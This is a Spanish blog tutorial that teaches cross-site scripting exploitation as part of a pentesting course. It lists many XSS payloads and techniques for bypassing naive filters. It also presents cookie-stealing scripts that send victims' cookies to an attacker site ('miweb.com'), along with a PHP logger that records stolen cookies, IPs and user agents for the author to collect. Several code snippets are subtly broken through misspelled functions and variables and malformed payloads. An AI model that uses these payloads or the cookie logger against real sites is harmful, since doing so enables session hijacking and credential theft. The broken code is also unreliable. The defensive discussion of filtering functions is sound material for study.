¡Explotando webs con XSS!

Les recomiendo estos dos blogs antes de comenzar: JavaScript, HTML.

En este curso primero veremos xss y luego abarcaremos a otros temas. Primero aprenderemos a caminar para después volar. Veremos en el curso de xss: herramientas, ideas, experiencias, técnicas usadas por un pentester y como llevar a cabo las nuestras, como prevenir estos ataques, etc. Y antes de comenzar quiero aclarar en que este curso no se llevara solamente xss o sql, ya que un pentester no solo vive de buscar vulnerabilidades de este tipo y en este curso veremos cosas que afirman lo que he dicho. Ah, y lo más importante es que conocimiento no es = inteligencia, solo aclaro eso, porque sé que más de uno no lo sabía. Ahora sí, si más que decir comencemos.

¿Qué es xss?

---

Cross Site Scripting abreviado XSS. Antes de decir que es, me gustaría deciros que una de las razones o la razón por la que se abrevia XSS es porque CSS ya estaba ocupado como; Cascading Style Sheets, ¿No es curioso?

Ahora sí, xss es una técnica que es usada para inyectar código en aplicaciones web como, JavaScript o VBScript, entre otros similares a las mencionados. Una vez que se haya inyectado malicioso en la web se estará rompiendo la política del mismo origen, y ¿Que es la política del mismo origen? Esta política viene de un navegador llamado Netscape 2.0, y hace que algún documento o script de algún “origen” desconocido no pueda procesar secuencias de comandos/documento/script para poder cargar o modificar propiedades de la web/dominio. En otras palabras. Document.domain. No obstante, esta política pocos la usan, aunque, sea una de las políticas más importante para Internet y esto es porque Internet Explorer no soporta la firma digital, además, de que la mayoría no llega a disponer de alguna de ellas, o al menos sé que el 99% que está leyendo esto no dispone de una o posiblemente recién se enteran de estos scripts firmados.

XSS es una vulnerabilidad de las más comunes que puedes encontrar en una aplicación web y según OWASP (Open Web Application Security Project) es una de las más explotadas, además, de que 1 de 10 vulnerabilidades de una web puede ser xss, por ejemplo.

Cuando nosotros encontramos una vulnerabilidad XSS en alguna aplicación web podemos hacer muchas cosas como; un DoS, robo de credenciales, o robo de tonkes de sesión, entre otras cosas geniales.

Según OWASP existen 3 tipos de XSS. No obstante, el 3 que es DOM basado XSS no es conocido por muchos. Y a veces XSS se clasifica la mayoría de veces en dos categorías; almacenados y reflejados.

• Almacenado XSS: Es cuando se inyecta algún script malicioso el cual este se queda almacenado en el servidor permanentemente, y es mostrado a los demás usuarios. A esta categoría se le llama XSS persistente, tipo I o/y “Directa”.

Estos scripts almacenados se almacenan (valga la redundancia) o se pueden encontrar en

• Base de datos
• Foro de mensajes o de Fotos
• Campos de comentarios
• Registro de mensajes
• Formularios
• Campos para rellenar

Por ejemplo, si en algún foro o web donde se pueda comentar o donde podamos ingresar texto ya sea cualquier parte probablemente podamos encontrar una vulnerabilidad. Aunque, muchos pasan de esta parte, porque lo ven algo inútil o inservible, pero solamente están dejando una oportunidad de molestar a miles de usuarios, o en otras palabras desaprovechan todo lo que pueden hacer.

Lo primero sería encontrar una web vulnerable así que para evitar problemas monte una app vulnerable ().

Le edite el nombre por grey-hack, pero aun así el creador de dicha app lo pueden buscar en la web.

Cuando nos hayamos registrado vamos a esta parte de la web y como vemos es un formulario a rellenar. Nosotros inyectaremos código JavaScript para nuestro primer ataque el cual sería:

<script>alert("XSS")</script>

Este pequeño script xss es el cual podemos ponerle la categoría “XSS almacenado” solo falta que, en el formulario, y cada vez que nosotros queramos entrar al index.php (html) nos saldrá esta alerta diciendo “XSS” o bueno, lo que queramos si editamos la parte donde dice “XSS” y los que se hayan leído mi blog de JavaScript o el de HTML de una usuaria entenderán muy bien el uso de las etiquetas. Aunque, me imagino que muchos no lo hicieron así que solamente diré léanlo y vuelvan a esta parte del blog y que no necesariamente para invocar un alert se necesita el uso de <script></script> podemos usar otras etiquetas que hacen el mismo uso.

<body onload=alert('XSS')>

También atributos como; onmouseover, onerror. Onmouseover, activa JS al mover el puntero en una imagen, o elemento, y onerror pone un alert cuando la imagen no carga

Ejemplo:

<b onmouseover="<script>alert('esto es un xss')</script>">Standby</b>
<img src=1 href=1 onerror="javascript:alert(1)"></img>

Y si, puede ser lioso utilizarlos para algunos, pero no crean que podemos poner inyectar siempre nuestro código tan fácilmente, o que la alerta salga como si nada. Siempre se pueden usar filtros para que usuarios graciosos no hagan nada, pero a la ves podemos pasarlos con facilidad.

Filtro lvl 1

---

<?php
$entrada = $_GET["datos"];
$filtrar = array(
    "<script>",
	"</script>",
	"<iframe>",
	"etc"
);

$filtro = str_replace($filtrar, "", $entrada);
print $filtro;
?>

Esto bloqueara inyecciones <script>,</script>, pero la función que estamos usando en php es str_replace() la cual sirve para prevenir vulnerabilidades XSS, pero como vemos es sensible a las mayúsculas así que fácilmente podemos poner;

<SCRIPT>alert("xss");</SCRIPT>

Y la pasaremos como si nada, pero también se puede mejorar para que no podamos usarlo de esta manera.

Filtro lvl 2

---

<?php
$entrada = $_GET["datos"];
$filtrar = array(
    "<script>",
	"</script>",
	"<iframe>",
	"<SCRIPT>",
	"</SCRIPT>",
	"etc"
);

$filtro = str_replace($filtrar, "", $entrada);
print $filtro;
?>

Y listo dejo de funcionar, <SCRIPT>alert("xss");</SCRIPT>, pero aun podemos pasar de este filtro de la siguiente manera:

<sCripT>alert("XSS")</ScrIpt>

Y esto es un claro ejemplo de que la función es muy sensible a las mayúsculas, pero se puede mejorar el filtro usando otra función de php.

FIltro lvl 3

---

<?php
$entrada = $_GET["datos"];
$filtrar = array(
    "<script>",
	"</script>",
	"<iframe>",
	"etc"
);

$filtro = str_ireplace($filtrar, "", $entrada);
print $filtro;
?>

Podemos pasar este filtro de la siguiente manera:  

<scr<script>ipt>alert("xss");</scr</script>ipt>

¿Por qué esto funciona y cómo funciona? Es simple, si el filtro elimina las etiquetas <script></script> entonces terminara de poner y así formando ``

También podemos cifrar el código en HEX, ASCII, usar el esquema de URI de “datos”, etc.

HEXADEMINAL es simple y cualquiera lo puede hacer “<” es 3c y “%” es como una doble codificación en hexadecimal es “%25” y lo podemos usar de esta forma “% 253C” como una “Doble codificación” pueden guiarse con alguna web para hacerlo con “/” y “>” o con este “Diccionario” hexadecimal

Uso de hexadecimal

---

%253Cscript%253Ealert('XSS')%253C%252Fscript%253E

Podemos usar codificaciones UTF-8 (8-bit Unicode Transformation Format) algo como; &#X41 que es “a”, y lo ponemos al lado de “J” J(Codificación)vascript:alert(‘xss’ ahora solo debemos ponerlo en una etiqueta img:

<IMG SRC=j&#X41vascript:alert('XSS')>

También podemos cifrarlo en BASE 64 para más probabilidad

data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4NCg0K

E incluso podremos poner en el meta:

<META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4NCg0K>

Para los que no entiendan mucho lo de “El esquema de URL de “datos” puede leer esta web: recomendación, explican muy bien lo que es y cómo usarse, pero para los vagos que no quieran entrar:

-Algunas aplicaciones que usan URL también tienen la necesidad de incrustar (pequeños) datos de tipo de medios directamente en línea. Este documento define un nuevo esquema de URL que funcionaría como ‘direccionamiento inmediato’. Las URL son de la forma:

data:[<mediatype>][;base64],<data>

También hay otra forma la cual es usando String.fromCharCode (SIntaxis; String.fromCharCode(1,2,3) hace una secuencia de números con valores Unicode devolviendo una cadena.

<script>alert(String.fromCharCode(88,83,83))</script<

Y hay miles de formas para cifrarlo y byspassear de muchos filtros. Si quieren probar más les dejo esta web: http://htmlpurifier.org/live/smoketests/xssAttacks.php

¡¡Bueno ahora tenemos muchas cosas en claro!!

Por cierto en la parte de filtros que puse aclaro que hay otros más filtros los cuales no solo usar filter_var() para eliminar codificaciones de caracteres bajos o altos. También esta strip_tags la cual no es como la primera que se vio en el blog que era algo sensible a las mayúsculas o minúsculas.  Strip_tags() es todo lo contrario eliminado todas las etiquetas HTMl y aún hay otro filtros el cuas es “htmlentities()” (En otro blog enseñare a como pasar la mayoría de filtros)

• XSS Indirecto (reflejado): Este ataque se utiliza cuando se trata modificar valores de la web. Esos valores es cuando la aplicación web trata de pasarlas entre dos páginas, pero este tipo de vulnerabilidades se ven más en webs dinámicas. Por ejemplo, podemos robar las cookies del usuario, por ejemplo:

  <a onclick="document.location='http://miweb.com/?;" href="#">Clikeame!</a>
  

Una vez cuando nuestra victima haga click será enviado a nuestra web maliciosa la cual robara la información pedida

También podemos hacer algo como esto:

<script>window.location='http://miweb.com/?'+document.cookie;</script>

O mejor este que solamente es inyectarlo en la web para rediregirlo a la web de nosotros

<iframe width='0' height='0' frameborder='0' src='<script>document.location='http://miweb.com/?'+escape(document.cookie);</script>'/>

El php puede ser algo como:

<?php
$cookie = $GET['c$'];
$ip = getenv('REMOTE_ADOR');
$date = date("m/d/Y g:i:s a");
$referer = gatenv('HTTP_REFERER');
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$fl = fopen('robo.txt', 'a');
fwrite($fl "\n", $ip, ' - ', $date, "\n", $referer, " - ", $user_agent, " - ", $cookie, "\n")
fclose($fl)
echo '<center><img src=linkimagen.png" midth="1500", height="1000"></center>';
?>

Y listo, subimos el php a un hosting y creara el archivo Robo.txt el cual estarán los datos cuando la víctima vea la web y ya nosotros podemos ver como redirigirlo a la web como enseñe arriba, o de esta manera igual sirve:

<script>window.location='www.miweb.com'</script>

---

Yo hice un ejemplo con Chippu un usuario de la comunidad.

robo.txt

---

El script direccionará a todos de la web a la web de nosotros la cual nosotros robaremos algunos datos (Y si, el script es persistente) (Solo guarden el php de esta forma Nombre.php en nombre le ponen cualquiera hasta pueden mejorar el php)

Aquí hemos aplicado mucho hijacking para robar las “galletas”, pero hay más formas y mejores que esta las cuales veremos en otros blogs… O posiblemente vaya actualizando el blog.

• DOM basado en XSS: Para mí no hay mejor definición  que la de OWASP; DOM Based XSS (o como se llama en algunos textos, “type-0 XSS”) es un ataque XSS en el que la carga útil de ataque se ejecuta como resultado de la modificación del DOM “entorno” en el navegador de la víctima utilizado por el lado del cliente original script, de modo que el código del lado del cliente se ejecute de manera “inesperada”. Es decir, la página en sí (la respuesta HTTP que es) no cambia, pero el código del lado del cliente contenido en la página se ejecuta de manera diferente debido a las modificaciones maliciosas que se han producido en el entorno DOM.

Esto contrasta con otros ataques XSS (almacenados o reflejados), en donde la carga útil del ataque se coloca en la página de respuesta (debido a un defecto del lado del servidor)

En este ejemplo usaremos el de OWASP aplicándolo a la web DVWA; Supongamos que el siguiente código se utiliza para crear un formulario para permitir que el usuario elija su idioma preferido. También se proporciona un idioma predeterminado en la cadena de consulta, como el parámetro “predeterminado”.

Elige tu idioma:

Esta sería la web:

https://foroprueb44.webcindario.com/vulnerabilities/xss_d/?default=Spanish de ejemplo, y como vemos esta “default=Spanish” ¿Qué quiere decir esto? Esto significa que la aplicación web procesa la URL y mostrara “Spanish” a nosotros (No como alert) y así la URL da los datos que nosotros le dimos y los inserta al servidor como respuesta:

Solo bastaría quitar el spanish por algo que nosotros queramos:

https://foroprueb44.webcindario.com/vulnerabilities/xss_d/?default=<script>alert(document.cookie)</script>

Y solo es de devolvernos a la página anterior con la respuesta que le mandamos al server. El navegador crea el objeto DOM para la web donde el objeto document.location tendra la cadena que enviamos.

Aunque, se puede prevenir esto con corta fuegos o filtros para que el servidor no responda con la web que contenga el script JS, y también pueden darnos algunos mensajes por intentar atacar sus webs.

El blog termina por aquí por ahora, muchas gracias por leer. ~